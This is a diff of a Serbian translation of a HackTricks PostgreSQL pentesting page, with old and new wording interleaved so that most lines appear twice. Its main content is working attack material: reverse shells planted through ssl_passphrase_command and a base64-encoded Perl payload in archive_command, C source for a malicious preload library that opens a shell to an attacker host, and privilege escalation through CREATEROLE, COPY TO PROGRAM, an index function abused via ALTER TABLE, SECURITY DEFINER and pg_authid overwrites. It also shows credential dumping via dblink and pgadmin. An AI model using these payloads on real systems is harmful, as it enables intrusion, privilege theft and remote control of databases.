|
||||
|
||||
Konfiguracioni fajl ima neke interesantne atribute koji mogu dovesti do RCE:
|
||||
Konfiguraciona datoteka ima neke zanimljive atribute koji mogu dovesti do RCE:
|
||||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Putanja do privatnog ključa baze podataka
|
||||
* `ssl_passphrase_command = ''` Ako je privatni fajl zaštićen lozinkom (šifrovan), PostgreSQL će **izvršiti komandu koja je navedena u ovom atributu**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Ako** je ovaj atribut **uključen**, **komanda** koja se izvršava ako je ključ zaštićen lozinkom **će se izvršiti** kada se izvrši `pg_reload_conf()`.
|
||||
- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Putanja do privatnog ključa baze podataka
|
||||
- `ssl_passphrase_command = ''` Ako je privatna datoteka zaštićena lozinkom (šifrovana) postgresql će **izvršiti komandu naznačenu u ovom atributu**.
|
||||
- `ssl_passphrase_command_supports_reload = off` **Ako** je ovaj atribut **uključen** komanda izvršena ako je ključ zaštićen lozinkom **će biti izvršena** kada se izvrši `pg_reload_conf()`.
|
||||
|
||||
Zatim, napadač će morati da:
|
||||
Zatim, napadač će morati:
|
||||
|
||||
1. **Izvuče privatni ključ** sa servera
|
||||
2. **Šifruje** preuzeti privatni ključ:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Prepiše**
|
||||
4. **Izvuče** trenutnu konfiguraciju PostgreSQL-a
|
||||
5. **Prepiše** konfiguraciju sa pomenutim atributima konfiguracije:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Izvrši `pg_reload_conf()`
|
||||
1. **Izvući privatni ključ** sa servera
|
||||
2. **Šifrovati** preuzeti privatni ključ:
|
||||
- `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Prepisati**
|
||||
4. **Izvući** trenutnu postgresql **konfiguraciju**
|
||||
5. **Prepisati** **konfiguraciju** sa navedenim atributima konfiguracije:
|
||||
- `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
- `ssl_passphrase_command_supports_reload = on`
|
||||
6. Izvršiti `pg_reload_conf()`
|
||||
|
||||
Prilikom testiranja primetio sam da ovo funkcioniše samo ako **privatni ključ ima privilegije 640**, vlasnik je **root** i pripada **grupi ssl-cert ili postgres** (tako da postgres korisnik može da ga čita) i nalazi se u _/var/lib/postgresql/12/main_.
|
||||
Prilikom testiranja primetio sam da će ovo raditi samo ako **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i da je **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da je smeštena u _/var/lib/postgresql/12/main_.
|
||||
|
||||
#### **RCE sa archive\_command**
|
||||
|
||||
**Više** [**informacija o ovoj konfiguraciji i o WAL-u ovde**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
**Više** [**informacija o ovoj konfiguraciji i o WAL ovde**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
|
||||
Još jedan atribut u konfiguracionom fajlu koji je iskoristiv je `archive_command`.
|
||||
Još jedan atribut u konfiguracionoj datoteci koji je iskoristiv je `archive_command`.
|
||||
|
||||
Da bi ovo funkcionisalo, postavka `archive_mode` mora biti `'on'` ili `'always'`. Ako je to tačno, onda možemo prepisati komandu u `archive_command` i naterati je da se izvrši putem operacija WAL (write-ahead logging).
|
||||
Da bi ovo radilo, postavka `archive_mode` mora biti `'on'` ili `'always'`. Ako je to tačno, tada bismo mogli prebrisati komandu u `archive_command` i naterati je da se izvrši putem WAL (write-ahead logging) operacija.
|
||||
|
||||
Opšti koraci su:
|
||||
|
||||
1. Proverite da li je omogućen režim arhiviranja: `SELECT current_setting('archive_mode')`
|
||||
2. Prepišite `archive_command` sa payload-om. Na primer, obrnuti shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Ponovo učitajte konfiguraciju: `SELECT pg_reload_conf()`
|
||||
4. Prisilite izvršavanje operacije WAL, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgres-a
|
||||
1. Proveriti da li je režim arhiviranja omogućen: `SELECT current_setting('archive_mode')`
|
||||
2. Prebrisati `archive_command` sa payload-om. Na primer, reverzni shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Ponovo učitati konfiguraciju: `SELECT pg_reload_conf()`
|
||||
4. Naterati operaciju WAL da se izvrši, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgresa
|
||||
|
||||
#### **RCE sa bibliotekama za učitavanje pri pokretanju**
|
||||
Više informacija [o ovoj tehnici ovde](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
Ovaj vektor napada koristi sledeće konfiguracione promenljive:
|
||||
- `session_preload_libraries` -- biblioteke koje će biti učitane od strane PostgreSQL servera prilikom povezivanja klijenta.
|
||||
- `dynamic_library_path` -- lista direktorijuma gde će PostgreSQL server tražiti biblioteke.
|
||||
|
||||
Možemo postaviti vrednost `dynamic_library_path` na direktorijum koji je upisiv od strane `postgres` korisnika koji pokreće bazu podataka, na primer, `/tmp/` direktorijum, i otpremiti zlonamerni `.so` objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novu otpremljenu biblioteku uključivanjem je u promenljivu `session_preload_libraries`.
|
||||
|
||||
Koraci napada su:
|
||||
1. Preuzmite originalni `postgresql.conf`
|
||||
2. Uključite `/tmp/` direktorijum u vrednost `dynamic_library_path`, na primer `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Uključite ime zlonamerne biblioteke u vrednost `session_preload_libraries`, na primer `session_preload_libraries = 'payload.so'`
|
||||
4. Proverite glavnu verziju Postgresa putem upita `SELECT version()`
|
||||
5. Kompajlirajte zlonamerni kod biblioteke sa odgovarajućim PostgreSQL dev paketom
|
||||
Primer koda:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include "postgres.h"
|
||||
#include "fmgr.h"
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
void _init() {
|
||||
/*
|
||||
kod preuzet sa https://www.revshells.com/
|
||||
*/
|
||||
|
||||
int port = REVSHELL_PORT;
|
||||
struct sockaddr_in revsockaddr;
|
||||
|
||||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||||
revsockaddr.sin_family = AF_INET;
|
||||
revsockaddr.sin_port = htons(port);
|
||||
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
|
||||
|
||||
connect(sockt, (struct sockaddr *) &revsockaddr,
|
||||
sizeof(revsockaddr));
|
||||
dup2(sockt, 0);
|
||||
dup2(sockt, 1);
|
||||
dup2(sockt, 2);
|
||||
|
||||
char * const argv[] = {"/bin/bash", NULL};
|
||||
execve("/bin/bash", argv, NULL);
|
||||
}
|
||||
```
|
||||
Kompajliranje koda:
|
||||
```bash
|
||||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||||
```
|
||||
6. Otpremite zlonamerni `postgresql.conf`, kreiran u koracima 2-3, i prepišite originalni
|
||||
7. Otpremite `payload.so` iz koraka 5 u `/tmp` direktorijum
|
||||
8. Ponovo učitajte konfiguraciju servera ponovnim pokretanjem servera ili pozivanjem upita `SELECT pg_reload_conf()`
|
||||
9. Prilikom sledeće DB konekcije, dobićete vezu za reverzni shell.
|
||||
## **Postgres Privesc**
|
||||
|
||||
### CREATEROLE Privesc
|
||||
### **Postgres Privesc**
|
||||
|
||||
#### **Grant**
|
||||
|
||||
Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** superkorisnik._
|
||||
Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** **superkorisnik**._
|
||||
|
||||
Dakle, ako imate dozvolu **`CREATEROLE`**, možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) koje vam mogu omogućiti čitanje i pisanje fajlova i izvršavanje komandi:
|
||||
Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) što vam može omogućiti čitanje i pisanje datoteka i izvršavanje komandi:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -590,31 +577,16 @@ GRANT pg_read_server_files TO username;
|
|||
# Access to write files
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
#### Promena lozinke
|
||||
#### Izmena lozinke
|
||||
|
||||
Korisnici sa ovom ulogom takođe mogu **promeniti** **lozinke** drugih **ne-superkorisnika**:
|
||||
Korisnici sa ovom ulogom takođe mogu **promeniti** **lozinke** drugih **korisnika koji nisu superkorisnici**:
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
#### Privesc do SUPERUSER-a
|
||||
#### Privesc to SUPERUSER
|
||||
|
||||
Prilično je uobičajeno da **lokalni korisnici mogu se prijaviti u PostgreSQL bez unošenja lozinke**. Stoga, kada ste stekli **dozvole za izvršavanje koda**, možete zloupotrijebiti te dozvole kako biste dobili ulogu **`SUPERUSER`**:
|
||||
|
||||
```sql
|
||||
-- Create a new user with superuser privileges
|
||||
CREATE USER malicious_user SUPERUSER;
|
||||
|
||||
-- Set the password for the new user
|
||||
ALTER USER malicious_user WITH PASSWORD 'password';
|
||||
|
||||
-- Login as the new user
|
||||
\c -U malicious_user
|
||||
|
||||
-- Now you have superuser privileges
|
||||
```
|
||||
|
||||
Ovaj postupak omogućava da se stvori novi korisnik sa privilegijama superuser-a, postavi lozinka za novog korisnika i prijavi se kao taj korisnik kako bi se dobile superuser privilegije.
|
||||
Često je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**:
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
@ -628,17 +600,15 @@ host all all 127.0.0.1/32 trust
|
|||
# IPv6 local connections:
|
||||
host all all ::1/128 trust
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
### **ALTER TABLE privesc**
|
||||
|
||||
U [**ovom objašnjenju**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) je objašnjeno kako je bilo moguće izvršiti **privesc** u Postgres GCP zloupotrebom privilegije ALTER TABLE koja je bila dodeljena korisniku.
|
||||
U [**ovom objašnjenju**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) je objašnjeno kako je bilo moguće izvršiti **privesc** u Postgres GCP zloupotrebom privilegije ALTER TABLE koja je dodeljena korisniku.
|
||||
|
||||
Kada pokušate da **dodelite vlasništvo nad tabelom drugom korisniku**, trebali biste dobiti **grešku** koja to sprečava, ali očigledno je GCP dao tu **opciju korisniku postgres koji nije superkorisnik** u GCP:
|
||||
Kada pokušate **dodeliti vlasništvo nad tabelom drugom korisniku**, trebalo bi da dobijete **grešku** koja to sprečava, ali očigledno je GCP dao tu **opciju korisniku postgres koji nije superkorisnik** u GCP-u:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Spajajući ovu ideju sa činjenicom da kada se izvrše komande **INSERT/UPDATE/ANALYZE** na **tabeli sa funkcijom indeksa**, funkcija se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom i dati vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim pokrenuti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
|
||||
Povezujući ovu ideju sa činjenicom da kada se izvrše komande **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom, dodeliti vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -646,13 +616,13 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
```
|
||||
#### Eksploatacija
|
||||
|
||||
1. Počnite tako što ćete kreirati novu tabelu.
|
||||
2. Ubacite nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksa.
|
||||
3. Razvijte zlonamernu funkciju indeksa koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi.
|
||||
4. ALTERujte vlasnika tabele u "cloudsqladmin", što je superkorisnička uloga GCP-a koju isključivo koristi Cloud SQL za upravljanje i održavanje baze podataka.
|
||||
5. Izvršite operaciju ANALYZE na tabeli. Ova akcija natera PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin". Kao rezultat toga, zlonamerna funkcija indeksa se poziva sa dozvolama "cloudsqladmin", čime se omogućava izvršavanje prethodno neovlašćene shell komande.
|
||||
1. Počnite kreiranjem nove tabele.
|
||||
2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja.
|
||||
3. Razvijte zlonamernu funkciju indeksiranja koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi.
|
||||
4. Izmijenite vlasnika tabele u "cloudsqladmin," koji je superkorisnička uloga GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka.
|
||||
5. Izvršite ANALYZE operaciju na tabeli. Ova akcija nateruje PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin-a," omogućavajući izvršavanje prethodno neovlašćene shell komande.
|
||||
|
||||
U PostgreSQL-u, ovaj tok izgleda otprilike ovako:
|
||||
U PostgreSQL-u, ovaj tok izgleda nekako ovako:
|
||||
```sql
|
||||
CREATE TABLE temp_table (data text);
|
||||
CREATE TABLE shell_commands_results (data text);
|
||||
|
@ -673,13 +643,13 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
|
|||
|
||||
ANALYZE public.temp_table;
|
||||
```
|
||||
Zatim, tabela `shell_commands_results` će sadržati rezultate izvršenog koda:
|
||||
Zatim će tabela `shell_commands_results` sadržati izlaz izvršenog koda:
|
||||
```
|
||||
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||||
```
|
||||
### Lokalna prijava
|
||||
### Lokalni Login
|
||||
|
||||
Neki neispravno konfigurisani postgresql instanci mogu dozvoliti prijavu bilo kog lokalnog korisnika, moguće je lokalno se prijaviti sa 127.0.0.1 koristeći **`dblink` funkciju**:
|
||||
Neke pogrešno konfigurisane postgresql instance mogu dozvoliti prijavljivanje bilo kog lokalnog korisnika, moguće je lokalno sa 127.0.0.1 koristeći **`dblink` funkciju**:
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
|
@ -692,13 +662,13 @@ dbname=somedb',
|
|||
RETURNS (result TEXT);
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Imajte na umu da za prethodni upit da bi radio **funkcija `dblink` mora postojati**. Ako ne postoji, možete pokušati da je kreirate sa
|
||||
Imajte na umu da bi prethodni upit radio, **funkcija `dblink` mora postojati**. Ako ne postoji, možete pokušati da je kreirate pomoću
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
Ako imate lozinku korisnika sa većim privilegijama, ali korisniku nije dozvoljeno da se prijavi sa spoljnog IP-a, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
|
||||
Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
|
@ -706,13 +676,13 @@ dbname=somedb',
|
|||
'SELECT usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
```
|
||||
Moguće je proveriti da li ova funkcija postoji pomoću:
|
||||
Moguće je proveriti da li ova funkcija postoji sa:
|
||||
```sql
|
||||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
### **Korisnički definisana funkcija sa** SECURITY DEFINER
|
||||
### **Prilagođena definisana funkcija sa** SECURITY DEFINER
|
||||
|
||||
[U ovom objašnjenju](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da izvrše privesc unutar postgres instanci koje je pružao IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER oznakom**:
|
||||
[U ovom objašnjenju](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da postanu privilegovani unutar postgres instanci koje je pružio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER zastavicom**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -733,27 +703,46 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
Kao što je [objašnjeno u dokumentaciji](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER oznakom se izvršava** sa privilegijama **korisnika koji je vlasnik funkcije**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili izvršava **privilegovane akcije sa parametrima koje kontroliše napadač**, može se zloupotrebiti za **povećanje privilegija unutar postgresa**.
|
||||
Kako je [objašnjeno u dokumentaciji](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER** se izvršava sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **povećanje privilegija unutar postgresa**.
|
||||
|
||||
Na liniji 4 prethodnog koda možete videti da funkcija ima **SECURITY DEFINER oznaku**.
|
||||
Na liniji 4 prethodnog koda možete videti da funkcija ima zastavicu **SECURITY DEFINER**.
|
||||
```sql
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
||||
```
|
||||
I onda **izvršite komande**:
|
||||
### Izvršite komande:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Prođite kroz Burteforce sa PL/pgSQL
|
||||
### Provala Brute Force-om pomoću PL/pgSQL
|
||||
|
||||
**PL/pgSQL** je **potpuno opremljen programski jezik** koji nudi veću proceduralnu kontrolu u odnosu na SQL. Omogućava upotrebu **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Osim toga, **SQL izjave** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane koristeći **PL/pgSQL jezik**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju i automatizaciji baza podataka.\
|
||||
**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da izvrši brute-force napad na korisničke podatke.**
|
||||
**PL/pgSQL** je **potpuno opremljeni programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.\
|
||||
**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force-uje korisničke podatke.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Povećanje Prava Pisanjem Preko Internih PostgreSQL Tabela
|
||||
{% hint style="info" %}
|
||||
Sledeći vektor povećanja prava je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe.
|
||||
{% endhint %}
|
||||
|
||||
Ako možete **čitati i pisati fajlove servera PostgreSQL-a**, možete **postati superkorisnik** pisanjem preko PostgreSQL fajl čvora na disku, koji je povezan sa internom tabelom `pg_authid`.
|
||||
|
||||
Pročitajte više o ovoj tehnici [ovde](https://adeadfed.com/posts/updating-postgresql-data-without-update/).
|
||||
|
||||
Koraci napada su:
|
||||
1. Dobijanje PostgreSQL direktorijuma sa podacima
|
||||
2. Dobijanje relativne putanje do fajl čvora, povezanog sa tabelom `pg_authid`
|
||||
3. Preuzimanje fajl čvora kroz funkcije `lo_*`
|
||||
4. Dobijanje tipa podataka, povezanog sa tabelom `pg_authid`
|
||||
5. Koristite [PostgreSQL Editor Fajl Čvora](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajl čvora](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); postavite sve `rol*` boolean zastave na 1 za puna ovlašćenja.
|
||||
7. Ponovo otpremite uređeni fajl čvora putem funkcija `lo_*`, i prepišite originalni fajl na disku
|
||||
8. *(Opciono)* Očistite keširanu tabelu u memoriji pokretanjem skupog SQL upita
|
||||
9. Sada biste trebali imati privilegije potpunog superadmina.
|
||||
|
||||
## **POST**
|
||||
```
|
||||
msf> use auxiliary/scanner/postgres/postgres_hashdump
|
||||
|
@ -764,7 +753,7 @@ msf> use exploit/windows/postgres/postgres_payload
|
|||
```
|
||||
### beleženje
|
||||
|
||||
Unutar datoteke _**postgresql.conf**_ možete omogućiti beleženje postgresql logova promenom:
|
||||
Unutar fajla _**postgresql.conf**_ možete omogućiti postgresql zapise menjajući:
|
||||
```bash
|
||||
log_statement = 'all'
|
||||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||||
|
@ -777,9 +766,9 @@ Zatim, **ponovo pokrenite servis**.
|
|||
|
||||
### pgadmin
|
||||
|
||||
[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baze podataka.\
|
||||
Možete pronaći **lozinke** unutar datoteke _**pgadmin4.db**_.\
|
||||
Možete ih dešifrovati koristeći funkciju _**decrypt**_ unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baza podataka.\
|
||||
Možete pronaći **šifre** unutar _**pgadmin4.db**_ fajla.\
|
||||
Možete ih dešifrovati koristeći _**decrypt**_ funkciju unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
sqlite3 pgadmin4.db "select * from user;"
|
||||
|
@ -788,28 +777,6 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
Klijentska autentifikacija u PostgreSQL-u se upravlja putem konfiguracione datoteke nazvane **pg_hba.conf**. Ova datoteka sadrži niz zapisa, pri čemu svaki zapis specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), naziv baze podataka, korisničko ime i metod autentifikacije koji se koristi za uparivanje konekcija. Prvi zapis koji se podudara sa tipom konekcije, IP adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentifikaciju. Ne postoji rezervna ili rezervna opcija ako autentifikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
||||
Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl nazvan **pg_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervni ili rezervni zapis ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
||||
|
||||
Dostupni metodi autentifikacije zasnovani na lozinkama u pg_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširana, kriptovana kriptografijom ili čisti tekst. Važno je napomenuti da metoda crypt ne može se koristiti sa lozinkama koje su šifrovane u pg_authid.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** koji se pokreću najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
Dostupni metodi autentikacije zasnovani na lozinkama u pg_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširan, kriptovano šifrovan ili čist tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg_authid.
|
||||
|
|
Loading…
Reference in a new issue